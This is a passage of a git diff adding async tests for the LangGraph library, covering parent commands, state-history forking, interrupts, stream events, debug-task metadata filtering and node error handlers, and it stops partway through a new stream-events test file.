"LangGraph" + ] == [ + {"chunk": {"my_task": 2}}, + {"chunk": {"my_task": 2}}, + {"chunk": {"my_workflow": "done"}}, + ] + assert [ + event["data"] + for event in events + if event["event"] == "on_chain_stream" and event["name"] == "my_task" + ] == [{"chunk": 2}, {"chunk": 2}] + assert [ + event["data"] + for event in events + if event["event"] == "on_chain_end" and event["name"] == "my_task" + ] == [ + {"output": 2, "input": {"number": 1}}, + {"output": 2, "input": {"number": 1}}, + ] + assert [ + event["data"] + for event in events + if event["event"] == "on_chain_stream" and event["name"] == "my_workflow" + ] == [{"chunk": "done"}] + assert [ + event["data"] + for event in events + if event["event"] == "on_chain_end" and event["name"] == "my_workflow" + ] == [{"output": "done", "input": 1}] + assert events[-1]["data"] == {"output": "done"} + + +@pytest.mark.parametrize("with_timeout", [False, "inner", "outer", "both"]) +@pytest.mark.parametrize("subgraph_persist", [True, False]) +async def test_parent_command_goto( + async_checkpointer: BaseCheckpointSaver, + subgraph_persist: bool, + with_timeout: Literal[False, "inner", "outer", "both"], +) -> None: + class State(TypedDict): + dialog_state: Annotated[list[str], operator.add] + + async def node_a_child(state): + return {"dialog_state": ["a_child_state"]} + + async def node_b_child(state): + return Command( + graph=Command.PARENT, + goto="node_b_parent", + update={"dialog_state": ["b_child_state"]}, + ) + + sub_builder = StateGraph(State) + sub_builder.add_node(node_a_child) + sub_builder.add_node(node_b_child) + sub_builder.add_edge(START, "node_a_child") + sub_builder.add_edge("node_a_child", "node_b_child") + sub_graph = sub_builder.compile(checkpointer=subgraph_persist) + if with_timeout in ("inner", "both"): + sub_graph.step_timeout = 1 + + async def node_b_parent(state): + return {"dialog_state": ["node_b_parent"]} + + main_builder = StateGraph(State) + main_builder.add_node(node_b_parent) + main_builder.add_edge(START, "subgraph_node") + main_builder.add_node("subgraph_node", sub_graph, destinations=("node_b_parent",)) + main_graph = main_builder.compile(async_checkpointer, name="parent") + if with_timeout in ("outer", "both"): + main_graph.step_timeout = 1 + + config = {"configurable": {"thread_id": 1}} + + assert await main_graph.ainvoke( + input={"dialog_state": ["init_state"]}, config=config + ) == {"dialog_state": ["init_state", "b_child_state", "node_b_parent"]} + + +@pytest.mark.parametrize("with_timeout", [True, False]) +async def test_timeout_with_parent_command( + async_checkpointer: BaseCheckpointSaver, with_timeout: bool +) -> None: + """Test that parent commands are properly propagated during timeouts.""" + + class State(TypedDict): + value: str + + async def parent_command_node(state: State) -> State: + await asyncio.sleep(0.1) # Add some delay before raising + return Command(graph=Command.PARENT, goto="test_cmd", update={"key": "value"}) + + builder = StateGraph(State) + builder.add_node("parent_cmd", parent_command_node) + builder.set_entry_point("parent_cmd") + graph = builder.compile(checkpointer=async_checkpointer) + if with_timeout: + graph.step_timeout = 1 + + # Should propagate parent command, not timeout + thread1 = {"configurable": {"thread_id": "1"}} + with pytest.raises(ParentCommand) as exc_info: + await graph.ainvoke({"value": "start"}, thread1) + assert exc_info.value.args[0].goto == "test_cmd" + assert exc_info.value.args[0].update == {"key": "value"} + + +async def test_fork_and_update_task_results( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """Test forking and updating task results with state history.""" + + def checkpoint(values: dict[str, Any]): + return ("checkpoint", {"values": values}) + + def task(name: str, result: Any): + return ("task", {"name": name, "result": result}) + + def get_tree(history: list[StateSnapshot]) -> list: + """Build a tree structure from state history for comparison.""" + if not history: + return [] + + # Build a tree structure similar to renderForks + node_map: dict[str, dict] = {} + root_nodes: list[dict] = [] + + # Second pass: establish parent-child relationships + for item in reversed(history): + checkpoint_id = item.config["configurable"]["checkpoint_id"] + parent_checkpoint_id = ( + item.parent_config["configurable"]["checkpoint_id"] + if item.parent_config + else None + ) + node_map[checkpoint_id] = {"item": item, "children": []} + + parent = node_map.get(parent_checkpoint_id) + (parent["children"] if parent else root_nodes).append( + node_map[checkpoint_id] + ) + + def node_to_tree(node: dict) -> list: + """Convert a node to tree structure.""" + result = [ + checkpoint(node["item"].values), + ] + [ + task(task_info.name, task_info.result) + for task_info in node["item"].tasks + ] + + if len(node["children"]) > 1: + branches = [node_to_tree(child) for child in node["children"]] + return result + [branches] + elif len(node["children"]) == 1: + return result + node_to_tree(node["children"][0]) + else: + return result + + if len(root_nodes) == 1: + # Process all root nodes + return node_to_tree(root_nodes[0]) + + elif len(root_nodes) > 1: + # Multiple root nodes - treat as branches + branches = [node_to_tree(node) for node in root_nodes] + return branches + else: + return [] + + class State(TypedDict): + name: Annotated[str, lambda a, b: " > ".join([a, b]) if a else b] + + # Define the graph with a sequence of nodes + def one(state: State) -> Command: + return Command(goto=[Send("two", {})], update={"name": "one"}) + + def two(state: State) -> State: + return {"name": "two"} + + def three(state: State) -> State: + return {"name": "three"} + + graph = ( + StateGraph(State) + .add_node("one", one) + .add_node("two", two) + .add_node("three", three) + .add_edge(START, "one") + .add_edge("one", "two") + .add_edge("two", "three") + .compile(checkpointer=async_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + history: list[StateSnapshot] = [] + + # Initial run + await graph.ainvoke({"name": "start"}, config) + history = [c async for c in graph.aget_state_history(config)] + + assert get_tree(history) == [ + checkpoint({"name": ""}), + task("__start__", {"name": "start"}), + checkpoint({"name": "start"}), + task("one", {"name": "one"}), + checkpoint({"name": "start > one"}), + task("two", {"name": "two"}), + task("two", {"name": "two"}), + checkpoint({"name": "start > one > two > two"}), + task("three", {"name": "three"}), + checkpoint({"name": "start > one > two > two > three"}), + ] + + # Update the start state + await graph.ainvoke( + None, + await graph.aupdate_state( + history[4].config, + values=[StateUpdate(values={"name": "start*"}, as_node="__start__")], + as_node="__copy__", + ), + ) + + history = [c async for c in graph.aget_state_history(config)] + assert get_tree(history) == [ + [ + checkpoint({"name": ""}), + task("__start__", {"name": "start"}), + checkpoint({"name": "start"}), + task("one", {"name": "one"}), + checkpoint({"name": "start > one"}), + task("two", {"name": "two"}), + task("two", {"name": "two"}), + checkpoint({"name": "start > one > two > two"}), + task("three", {"name": "three"}), + checkpoint({"name": "start > one > two > two > three"}), + ], + [ + checkpoint({"name": ""}), + task("__start__", {"name": "start*"}), + checkpoint({"name": "start*"}), + task("one", {"name": "one"}), + checkpoint({"name": "start* > one"}), + task("two", {"name": "two"}), + task("two", {"name": "two"}), + checkpoint({"name": "start* > one > two > two"}), + task("three", {"name": "three"}), + checkpoint({"name": "start* > one > two > two > three"}), + ], + ] + + # Fork from task "one" + # Start from the checkpoint that has the task "one" + assert history[3].values == {"name": "start*"} + assert len(history[3].tasks) == 1 + assert history[3].tasks[0].name == "one" + + await graph.ainvoke( + None, + await graph.aupdate_state( + history[3].config, + [StateUpdate(values={"name": "one*"}, as_node="one")], + "__copy__", + ), + ) + + history = [c async for c in graph.aget_state_history(config)] + assert get_tree(history) == [ + [ + checkpoint({"name": ""}), + task("__start__", {"name": "start"}), + checkpoint({"name": "start"}), + task("one", {"name": "one"}), + checkpoint({"name": "start > one"}), + task("two", {"name": "two"}), + task("two", {"name": "two"}), + checkpoint({"name": "start > one > two > two"}), + task("three", {"name": "three"}), + checkpoint({"name": "start > one > two > two > three"}), + ], + [ + checkpoint({"name": ""}), + task("__start__", {"name": "start*"}), + [ + [ + checkpoint({"name": "start*"}), + task("one", {"name": "one"}), + checkpoint({"name": "start* > one"}), + task("two", {"name": "two"}), + task("two", {"name": "two"}), + checkpoint({"name": "start* > one > two > two"}), + task("three", {"name": "three"}), + checkpoint({"name": "start* > one > two > two > three"}), + ], + [ + checkpoint({"name": "start*"}), + task("one", {"name": "one*"}), + checkpoint({"name": "start* > one*"}), + task("two", {"name": "two"}), + checkpoint({"name": "start* > one* > two"}), + task("three", {"name": "three"}), + checkpoint({"name": "start* > one* > two > three"}), + ], + ], + ], + ] + + config = {"configurable": {"thread_id": "2"}} + + # Initialize the thread once again + await graph.ainvoke({"name": "start"}, config) + history = [c async for c in graph.aget_state_history(config)] + + # Fork from task "two" + # Start from the checkpoint that has the task "two" + assert history[2].values == {"name": "start > one"} + + await graph.ainvoke( + None, + await graph.aupdate_state( + history[2].config, + [ + StateUpdate(values={"name": "two"}, as_node="two"), + StateUpdate(values={"name": "two"}, as_node="two"), + ], + "__copy__", + ), + ) + + history = [c async for c in graph.aget_state_history(config)] + assert get_tree(history) == [ + checkpoint({"name": ""}), + task("__start__", {"name": "start"}), + checkpoint({"name": "start"}), + task("one", {"name": "one"}), + [ + [ + checkpoint({"name": "start > one"}), + task("two", {"name": "two"}), + task("two", {"name": "two"}), + checkpoint({"name": "start > one > two > two"}), + task("three", {"name": "three"}), + checkpoint({"name": "start > one > two > two > three"}), + ], + [ + checkpoint({"name": "start > one"}), + task("two", {"name": "two"}), + task("two", {"name": "two"}), + checkpoint({"name": "start > one > two > two"}), + task("three", {"name": "three"}), + checkpoint({"name": "start > one > two > two > three"}), + ], + ], + ] + + # Fork task three + assert history[1].values == {"name": "start > one > two > two"} + assert len(history[1].tasks) == 1 + assert history[1].tasks[0].name == "three" + + await graph.ainvoke( + None, + await graph.aupdate_state( + history[1].config, + [StateUpdate(values={"name": "three*"}, as_node="three")], + "__copy__", + ), + ) + + history = [c async for c in graph.aget_state_history(config)] + assert get_tree(history) == [ + checkpoint({"name": ""}), + task("__start__", {"name": "start"}), + checkpoint({"name": "start"}), + task("one", {"name": "one"}), + [ + [ + checkpoint({"name": "start > one"}), + task("two", {"name": "two"}), + task("two", {"name": "two"}), + checkpoint({"name": "start > one > two > two"}), + task("three", {"name": "three"}), + checkpoint({"name": "start > one > two > two > three"}), + ], + [ + checkpoint({"name": "start > one"}), + task("two", {"name": "two"}), + task("two", {"name": "two"}), + [ + [ + checkpoint({"name": "start > one > two > two"}), + task("three", {"name": "three"}), + checkpoint({"name": "start > one > two > two > three"}), + ], + [ + checkpoint({"name": "start > one > two > two"}), + task("three", {"name": "three*"}), + checkpoint({"name": "start > one > two > two > three*"}), + ], + ], + ], + ], + ] + + # Regenerate task three + assert history[3].values == {"name": "start > one > two > two"} + assert len(history[3].tasks) == 1 + assert history[3].tasks[0].name == "three" + + await graph.ainvoke( + None, await graph.aupdate_state(history[3].config, None, "__copy__") + ) + + history = [c async for c in graph.aget_state_history(config)] + assert get_tree(history) == [ + checkpoint({"name": ""}), + task("__start__", {"name": "start"}), + checkpoint({"name": "start"}), + task("one", {"name": "one"}), + [ + [ + checkpoint({"name": "start > one"}), + task("two", {"name": "two"}), + task("two", {"name": "two"}), + checkpoint({"name": "start > one > two > two"}), + task("three", {"name": "three"}), + checkpoint({"name": "start > one > two > two > three"}), + ], + [ + checkpoint({"name": "start > one"}), + task("two", {"name": "two"}), + task("two", {"name": "two"}), + [ + [ + checkpoint({"name": "start > one > two > two"}), + task("three", {"name": "three"}), + checkpoint({"name": "start > one > two > two > three"}), + ], + [ + checkpoint({"name": "start > one > two > two"}), + task("three", {"name": "three*"}), + checkpoint({"name": "start > one > two > two > three*"}), + ], + [ + checkpoint({"name": "start > one > two > two"}), + task("three", {"name": "three"}), + checkpoint({"name": "start > one > two > two > three"}), + ], + ], + ], + ], + ] + + +async def test_subgraph_streaming_async() -> None: + """Test subgraph streaming when used as a node in async version""" + + # Create a fake chat model that returns a simple response + model = GenericFakeChatModel(messages=iter(["The weather is sunny today."])) + + # Create a subgraph that uses the fake chat model + async def call_model_node( + state: MessagesState, config: RunnableConfig + ) -> MessagesState: + """Node that calls the model with the last message.""" + messages = state["messages"] + last_message = messages[-1].content if messages else "" + response = await model.ainvoke([("user", last_message)], config) + return {"messages": [response]} + + # Build the subgraph + subgraph = StateGraph(MessagesState) + subgraph.add_node("call_model", call_model_node) + subgraph.add_edge(START, "call_model") + compiled_subgraph = subgraph.compile() + + class SomeCustomState(TypedDict): + last_chunk: NotRequired[str] + num_chunks: NotRequired[int] + + # Will invoke a subgraph as a function + async def parent_node(state: SomeCustomState, config: RunnableConfig) -> dict: + """Node that runs the subgraph.""" + msgs = {"messages": [("user", "What is the weather in Tokyo?")]} + events = [] + async for event in compiled_subgraph.astream( + msgs, config, stream_mode="messages" + ): + events.append(event) + ai_msg_chunks = [ai_msg_chunk for ai_msg_chunk, _ in events] + return { + "last_chunk": ai_msg_chunks[-1], + "num_chunks": len(ai_msg_chunks), + } + + # Build the main workflow + workflow = StateGraph(SomeCustomState) + workflow.add_node("subgraph", parent_node) + workflow.add_edge(START, "subgraph") + compiled_workflow = workflow.compile() + + # Test the basic functionality + result = await compiled_workflow.ainvoke({}) + + assert result["last_chunk"].content == "today." + assert result["num_chunks"] == 9 + + +@NEEDS_CONTEXTVARS +async def test_null_resume_disallowed_with_multiple_interrupts( + async_checkpointer: BaseCheckpointSaver, +) -> None: + class State(TypedDict): + text_1: str + text_2: str + + async def human_node_1(state: State): + value = interrupt(state["text_1"]) + return {"text_1": value} + + async def human_node_2(state: State): + value = interrupt(state["text_2"]) + return {"text_2": value} + + graph_builder = StateGraph(State) + graph_builder.add_node("human_node_1", human_node_1) + graph_builder.add_node("human_node_2", human_node_2) + + # Add both nodes in parallel from START + graph_builder.add_edge(START, "human_node_1") + graph_builder.add_edge(START, "human_node_2") + + checkpointer = InMemorySaver() + graph = graph_builder.compile(checkpointer=checkpointer) + + thread_id = str(uuid.uuid4()) + config: RunnableConfig = {"configurable": {"thread_id": thread_id}} + await graph.ainvoke( + {"text_1": "original text 1", "text_2": "original text 2"}, config=config + ) + + resume_map = { + i.id: f"resume for prompt: {i.value}" + for i in (await graph.aget_state(config)).interrupts + } + with pytest.raises( + RuntimeError, + match="When there are multiple pending interrupts, you must specify the interrupt id when resuming.", + ): + await graph.ainvoke(Command(resume="singular resume"), config=config) + + assert await graph.ainvoke(Command(resume=resume_map), config=config) == { + "text_1": "resume for prompt: original text 1", + "text_2": "resume for prompt: original text 2", + } + + +async def test_astream_waiter_cleanup_on_cancel( + monkeypatch: pytest.MonkeyPatch, +) -> None: + """Test that AsyncPregelLoop cleans up waiter tasks after cancellation.""" + + recorded_tasks: list[asyncio.Task[None]] = [] + finished_tasks: list[asyncio.Task[None]] = [] + + original_wait = AsyncQueue.wait + + async def tracked_wait(self: AsyncQueue) -> None: + task = asyncio.current_task() + assert task is not None + recorded_tasks.append(task) + try: + await original_wait(self) + finally: + finished_tasks.append(task) + + monkeypatch.setattr(AsyncQueue, "wait", tracked_wait) + + class State(TypedDict, total=False): + count: int + + async def slow_node(state: State) -> State: + await asyncio.sleep(0.05) + state = dict(state) + state["count"] = state.get("count", 0) + 1 + await asyncio.sleep(0.1) + return state + + builder = StateGraph(State) + builder.add_node("slow", slow_node) + builder.add_edge(START, "slow") + builder.add_edge("slow", END) + graph = builder.compile() + + async def consumer() -> None: + async for _ in graph.astream({"msg": "hi"}, stream_mode="messages"): + await asyncio.sleep(0.01) + + task = asyncio.create_task(consumer()) + await asyncio.sleep(0.05) + task.cancel() + with pytest.raises(asyncio.CancelledError): + await task + + await asyncio.sleep(0.05) + + assert recorded_tasks, "expected stream.wait() task to be created" + assert set(finished_tasks) == set(recorded_tasks) + assert all(t.done() for t in recorded_tasks) + + +@NEEDS_CONTEXTVARS +async def test_interrupt_stream_mode_values(async_checkpointer: BaseCheckpointSaver): + """Test that interrupts are surfaced on 'values' stream mode""" + + class State(TypedDict): + robot_input: str + human_input: str + + def robot_input_node(state: State) -> State: + return {"robot_input": "beep boop i am a robot"} + + def human_input_node(state: State) -> Command: + human_input = interrupt("interrupt") + return Command(update={"human_input": human_input}) + + builder = StateGraph(State) + builder.add_node(robot_input_node) + builder.add_node(human_input_node) + builder.add_edge(START, "robot_input_node") + builder.add_edge("robot_input_node", "human_input_node") + app = builder.compile(checkpointer=async_checkpointer) + config = {"configurable": {"thread_id": str(uuid.uuid4())}} + + result = [ + (mode, e) + async for mode, e in app.astream( + State(), config, stream_mode=["updates", "values"] + ) + ] + assert len(result) == 4 + assert result == [ + ("updates", {"robot_input_node": {"robot_input": "beep boop i am a robot"}}), + ("values", {"robot_input": "beep boop i am a robot"}), + ("updates", {"__interrupt__": (Interrupt(value="interrupt", id=AnyStr()),)}), + ( + "values", + { + "robot_input": "beep boop i am a robot", + "__interrupt__": (Interrupt(value="interrupt", id=AnyStr()),), + }, + ), + ] + resume_result = [ + (mode, e) + async for mode, e in app.astream( + Command(resume="i am a human"), config, stream_mode=["updates", "values"] + ) + ] + assert resume_result == [ + ("values", {"robot_input": "beep boop i am a robot"}), + ("updates", {"human_input_node": {"human_input": "i am a human"}}), + ( + "values", + {"robot_input": "beep boop i am a robot", "human_input": "i am a human"}, + ), + ] + + +async def test_supersteps_populate_task_results( + async_checkpointer: BaseCheckpointSaver, +) -> None: + class State(TypedDict): + num: int + text: str + + def double(state: State) -> State: + return {"num": state["num"] * 2, "text": state["text"] * 2} + + graph = ( + StateGraph(State) + .add_node("double", double) + .add_edge(START, "double") + .add_edge("double", END) + .compile(checkpointer=async_checkpointer) + ) + + # reference run with ainvoke + ref_cfg = {"configurable": {"thread_id": "ref"}} + await graph.ainvoke({"num": 1, "text": "one"}, ref_cfg) + ref_history = [h async for h in graph.aget_state_history(ref_cfg)] + + # Helper: pull first task result for a node name from history + def first_task_result(history: list[StateSnapshot], node: str) -> Any: + for s in history: + for t in s.tasks: + if t.name == node: + return t.result + return None + + ref_start_result = first_task_result(ref_history, "__start__") + ref_double_result = first_task_result(ref_history, "double") + assert ref_start_result == {"num": 1, "text": "one"} + assert ref_double_result == {"num": 2, "text": "oneone"} + + # using supersteps + bulk_cfg = {"configurable": {"thread_id": "bulk"}} + await graph.abulk_update_state( + bulk_cfg, + [ + [StateUpdate(values={}, as_node="__input__")], + [StateUpdate(values={"num": 1, "text": "one"}, as_node="__start__")], + [StateUpdate(values={"num": 2, "text": "oneone"}, as_node="double")], + ], + ) + bulk_history = [h async for h in graph.aget_state_history(bulk_cfg)] + + bulk_start_result = first_task_result(bulk_history, "__start__") + bulk_double_result = first_task_result(bulk_history, "double") + + assert bulk_start_result == ref_start_result == {"num": 1, "text": "one"} + assert bulk_double_result == ref_double_result == {"num": 2, "text": "oneone"} + + +async def test_fork_does_not_apply_pending_writes( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """Test that forking with aupdate_state does not apply pending writes from original execution.""" + + class State(TypedDict): + value: Annotated[int, operator.add] + + def node_a(state: State) -> State: + return {"value": 10} + + def node_b(state: State) -> State: + return {"value": 100} + + graph = ( + StateGraph(State) + .add_node("node_a", node_a) + .add_node("node_b", node_b) + .add_edge(START, "node_a") + .add_edge("node_a", "node_b") + .compile(checkpointer=async_checkpointer) + ) + + thread1 = {"configurable": {"thread_id": "1"}} + await graph.ainvoke({"value": 1}, thread1) + + history = [c async for c in graph.aget_state_history(thread1)] + checkpoint_before_a = next(s for s in history if s.next == ("node_a",)) + + fork_config = await graph.aupdate_state( + checkpoint_before_a.config, {"value": 20}, as_node="node_a" + ) + result = await graph.ainvoke(None, fork_config) + + # 1 (input) + 20 (forked node_a) + 100 (node_b) = 121 + assert result == {"value": 121} + + +async def test_graph_error_handler_async_runtime_info() -> None: + class State(TypedDict): + foo: str + + attempts = 0 + captured: dict[str, object] = {} + + async def always_failing_node(state: State) -> State: + nonlocal attempts + attempts += 1 + raise ValueError("Always fails async") + + async def err_handler_node(state: State, error: NodeError) -> State: + captured["from_node_name"] = error.node + captured["from_node_error"] = error.error + return {"foo": "handled_async"} + + graph = ( + StateGraph(State) + .add_node( + "always_failing", + always_failing_node, + retry_policy=RetryPolicy( + max_attempts=2, + initial_interval=0.01, + jitter=False, + retry_on=ValueError, + ), + error_handler=err_handler_node, + ) + .add_edge(START, "always_failing") + .compile() + ) + + with patch("asyncio.sleep"): + result = await graph.ainvoke({"foo": ""}) + + assert attempts == 2 + assert result["foo"] == "handled_async" + assert captured["from_node_name"] == "always_failing" + assert isinstance(captured["from_node_error"], BaseException) + + +@NEEDS_CONTEXTVARS +async def test_graph_error_handler_does_not_swallow_interrupt_concurrent() -> None: + """When a graph error handler is configured and a node calls interrupt() + concurrently with other nodes, the interrupt must still be raised — not + silently swallowed.""" + + class State(TypedDict): + foo: str + + async def node_a(state: State) -> State: + val = interrupt("need human input") + return {"foo": f"a_{val}"} + + async def node_b(state: State) -> State: + return {} + + async def err_handler(state: State) -> State: + return {"foo": "handled"} + + checkpointer = InMemorySaver() + graph = ( + StateGraph(State) + .add_node("node_a", node_a, error_handler=err_handler) + .add_node("node_b", node_b) + .add_edge(START, "node_a") + .add_edge(START, "node_b") + .compile(checkpointer=checkpointer) + ) + + config = {"configurable": {"thread_id": "test-interrupt-concurrent-async"}} + + await graph.ainvoke({"foo": ""}, config) + + state = await graph.aget_state(config) + assert len(state.tasks) > 0 + + interrupts = [t for t in state.tasks if hasattr(t, "interrupts") and t.interrupts] + assert len(interrupts) > 0, ( + "GraphInterrupt was swallowed — interrupt() in node_a " + "should have paused execution" + ) + + +async def test_node_error_handler_handles_subgraph_internal_failure_async() -> None: + class SubState(TypedDict): + foo: str + + class ParentState(TypedDict): + foo: str + + captured: dict[str, object] = {} + + async def sub_fail_node(state: SubState) -> SubState: + raise ValueError("async subgraph boom") + + async def parent_handler(state: ParentState, error: NodeError) -> ParentState: + captured["from_node_name"] = error.node + captured["from_node_error"] = error.error + return {"foo": "handled_async_subgraph"} + + subgraph = ( + StateGraph(SubState) + .add_node("sub_fail_node", sub_fail_node) + .add_edge(START, "sub_fail_node") + .compile() + ) + + parent_graph = ( + StateGraph(ParentState) + .add_node("subgraph_node", subgraph, error_handler=parent_handler) + .add_edge(START, "subgraph_node") + .compile() + ) + + result = await parent_graph.ainvoke({"foo": ""}) + assert result["foo"] == "handled_async_subgraph" + assert captured["from_node_name"] == "subgraph_node" + assert isinstance(captured["from_node_error"], BaseException) diff --git a/libs/langgraph/tests/test_pregel_debug.py b/libs/langgraph/tests/test_pregel_debug.py new file mode 100644 index 0000000..38e1a47 --- /dev/null +++ b/libs/langgraph/tests/test_pregel_debug.py @@ -0,0 +1,185 @@ +"""Tests for langgraph.pregel.debug helpers.""" + +from __future__ import annotations + +from langgraph.pregel.debug import map_debug_tasks + + +class _FakeTask: + """Minimal stand-in for PregelExecutableTask covering only what map_debug_tasks reads.""" + + def __init__( + self, + *, + id: str, + name: str, + input: object, + triggers: list[str], + config: dict | None, + ) -> None: + self.id = id + self.name = name + self.input = input + self.triggers = triggers + self.config = config + + +def test_map_debug_tasks_forwards_metadata_when_present() -> None: + task = _FakeTask( + id="t1", + name="tools", + input=[], + triggers=["x"], + config={"metadata": {"lc_agent_name": "weather_agent"}}, + ) + payloads = list(map_debug_tasks([task])) + assert len(payloads) == 1 + payload = payloads[0] + assert payload["id"] == "t1" + assert payload["name"] == "tools" + assert payload["metadata"] == {"lc_agent_name": "weather_agent"} + + +def test_map_debug_tasks_omits_metadata_when_empty() -> None: + # Empty metadata dict in config: don't include metadata in the payload. + task = _FakeTask( + id="t1", + name="tools", + input=[], + triggers=["x"], + config={"metadata": {}}, + ) + payloads = list(map_debug_tasks([task])) + assert "metadata" not in payloads[0] + + +def test_map_debug_tasks_omits_metadata_when_absent() -> None: + # No metadata key in config: don't include metadata in the payload. + task = _FakeTask( + id="t1", + name="tools", + input=[], + triggers=["x"], + config={}, + ) + payloads = list(map_debug_tasks([task])) + assert "metadata" not in payloads[0] + + +def test_map_debug_tasks_handles_none_config() -> None: + # task.config can be None; should not crash. + task = _FakeTask( + id="t1", + name="tools", + input=[], + triggers=["x"], + config=None, + ) + payloads = list(map_debug_tasks([task])) + assert len(payloads) == 1 + assert "metadata" not in payloads[0] + + +def test_map_debug_tasks_filters_framework_metadata_keys() -> None: + """Internal framework keys are dropped from the forwarded metadata; only + user-meaningful keys (lc_agent_name, ls_integration, user metadata) ride + along. The framework keys (langgraph_*, thread_id, checkpoint_*) are + redundant with the task's own fields/namespace. + """ + md = { + "lc_agent_name": "weather_agent", + "ls_integration": "langchain_create_agent", + "my_user_key": "x", + "thread_id": "thread-1", + "langgraph_step": 1, + "langgraph_node": "tools", + "langgraph_path": ("__pregel_pull", "tools"), + "langgraph_checkpoint_ns": "tools:abc", + "checkpoint_ns": "", + } + task = _FakeTask( + id="t1", name="tools", input=[], triggers=["x"], config={"metadata": md} + ) + payload = next(iter(map_debug_tasks([task]))) + assert payload["metadata"] == { + "lc_agent_name": "weather_agent", + "ls_integration": "langchain_create_agent", + "my_user_key": "x", + } + + +def test_map_debug_tasks_omits_metadata_when_only_framework_keys() -> None: + """A task whose metadata is entirely framework keys (e.g. a plain + StateGraph node) yields no `metadata` key after filtering. + """ + md = { + "thread_id": "thread-1", + "langgraph_step": 1, + "langgraph_node": "worker", + "langgraph_checkpoint_ns": "worker:abc", + "checkpoint_ns": "", + } + task = _FakeTask( + id="t1", name="worker", input=[], triggers=["x"], config={"metadata": md} + ) + payload = next(iter(map_debug_tasks([task]))) + assert "metadata" not in payload + + +def test_map_debug_tasks_metadata_is_copied_not_referenced() -> None: + """Mutating the source config after emission must not affect the + payload — TaskPayload.metadata is a defensive copy. + """ + md = {"lc_agent_name": "a"} + task = _FakeTask( + id="t1", name="tools", input=[], triggers=["x"], config={"metadata": md} + ) + payload = next(iter(map_debug_tasks([task]))) + md["lc_agent_name"] = "MUTATED" + assert payload["metadata"]["lc_agent_name"] == "a" + + +def test_map_debug_tasks_folds_filtered_tags_into_metadata() -> None: + """Config tags are folded into TaskPayload.metadata under `tags`, with + langchain's internal `seq:step:*` tags filtered out — mirroring the + messages stream handler so both channels surface the same tag set.""" + task = _FakeTask( + id="t1", + name="tools", + input=[], + triggers=["x"], + config={ + "metadata": {"lc_agent_name": "weather_agent"}, + "tags": ["seq:step:1", "user-tag", "session-123"], + }, + ) + payload = next(iter(map_debug_tasks([task]))) + assert payload["metadata"]["lc_agent_name"] == "weather_agent" + assert payload["metadata"]["tags"] == ["user-tag", "session-123"] + + +def test_map_debug_tasks_omits_tags_when_only_seq_step() -> None: + """If the only tags are internal `seq:step:*` markers, no `tags` key is + added (matches the messages handler's `if filtered_tags:` guard).""" + task = _FakeTask( + id="t1", + name="tools", + input=[], + triggers=["x"], + config={"metadata": {"lc_agent_name": "a"}, "tags": ["seq:step:1"]}, + ) + payload = next(iter(map_debug_tasks([task]))) + assert "tags" not in payload["metadata"] + + +def test_map_debug_tasks_adds_tags_even_without_other_metadata() -> None: + """Filtered tags surface even when config has no metadata dict.""" + task = _FakeTask( + id="t1", + name="tools", + input=[], + triggers=["x"], + config={"tags": ["user-tag"]}, + ) + payload = next(iter(map_debug_tasks([task]))) + assert payload["metadata"] == {"tags": ["user-tag"]} diff --git a/libs/langgraph/tests/test_pregel_stream_events_v3.py b/libs/langgraph/tests/test_pregel_stream_events_v3.py new file mode 100644 index 0000000..a0b038c --- /dev/null +++ b/libs/langgraph/tests/test_pregel_stream_events_v3.py @@ -0,0 +1,1780 @@ +"""Tests for Pregel.stream_events(version="v3") / astream_events(version="v3") and the transformer pipeline.""" + +from __future__ import annotations + +import asyncio +import operator +import sys +import time +from typing import Annotated, Any + +import pytest +from langgraph.checkpoint.memory import InMemorySaver +from typing_extensions import TypedDict + +from langgraph.constants import END, START +from langgraph.graph import StateGraph +from langgraph.stream import ( + StreamChannel, + StreamTransformer, +) +from langgraph.stream._convert import convert_to_protocol_event +from langgraph.stream._mux import StreamMux +from langgraph.stream._types import ProtocolEvent +from langgraph.stream.run_stream import AsyncGraphRunStream, GraphRunStream +from langgraph.stream.transformers import MessagesTransformer, ValuesTransformer +from langgraph.types import StreamWriter, interrupt + +NEEDS_CONTEXTVARS = pytest.mark.skipif( + sys.version_info < (3, 11), + reason="Python 3.11+ is required for async contextvars support", +) + +TS = int(time.time() * 1000) + + +def _event( + method: str, + data: Any = None, + *, + namespace: list[str] | None = None, + interrupts: tuple[Any, ...] | None = None, +) -> ProtocolEvent: + params: dict[str, Any] = { + "namespace": namespace or [], + "timestamp": TS, + "data": data if data is not None else {}, + } + if interrupts is not None: + params["interrupts"] = interrupts + return {"type": "event", "method": method, "params": params} + + +# --------------------------------------------------------------------------- +# Shared graph builders +# --------------------------------------------------------------------------- + + +class SimpleState(TypedDict): + value: str + items: Annotated[list[str], operator.add] + + +def _build_simple_graph(): + def node_a(state: SimpleState) -> dict: + return {"value": state["value"] + "A", "items": ["a"]} + + def node_b(state: SimpleState) -> dict: + return {"value": state["value"] + "B", "items": ["b"]} + + builder = StateGraph(SimpleState) + builder.add_node("node_a", node_a) + builder.add_node("node_b", node_b) + builder.add_edge(START, "node_a") + builder.add_edge("node_a", "node_b") + builder.add_edge("node_b", END) + return builder.compile() + + +def _build_interrupt_graph(): + def node_a(state: SimpleState) -> dict: + return {"value": state["value"] + "A", "items": ["a"]} + + def node_b(state: SimpleState) -> dict: + interrupt("need approval") + return {"value": state["value"] + "B", "items": ["b"]} + + builder = StateGraph(SimpleState) + builder.add_node("node_a", node_a) + builder.add_node("node_b", node_b) + builder.add_edge(START, "node_a") + builder.add_edge("node_a", "node_b") + builder.add_edge("node_b", END) + return builder.compile(checkpointer=InMemorySaver()) + + +def _build_error_graph(): + def node_a(state: SimpleState) -> dict: + return {"value": state["value"] + "A", "items": ["a"]} + + def node_b(state: SimpleState) -> dict: + raise ValueError("boom") + + builder = StateGraph(SimpleState) + builder.add_node("node_a", node_a) + builder.add_node("node_b", node_b) + builder.add_edge(START, "node_a") + builder.add_edge("node_a", "node_b") + builder.add_edge("node_b", END) + return builder.compile() + + +def _build_custom_stream_graph(): + def node_a(state: SimpleState, *, writer: StreamWriter) -> dict: + writer({"step": "start"}) + writer({"step": "end"}) + return {"value": state["value"] + "A", "items": ["a"]} + + builder = StateGraph(SimpleState) + builder.add_node("node_a", node_a) + builder.add_edge(START, "node_a") + builder.add_edge("node_a", END) + return builder.compile() + + +class _CustomPassthroughTransformer(StreamTransformer): + """Opts a run into the `custom` stream mode without building a projection. + + `stream_events(version="v3")` requests only the modes that 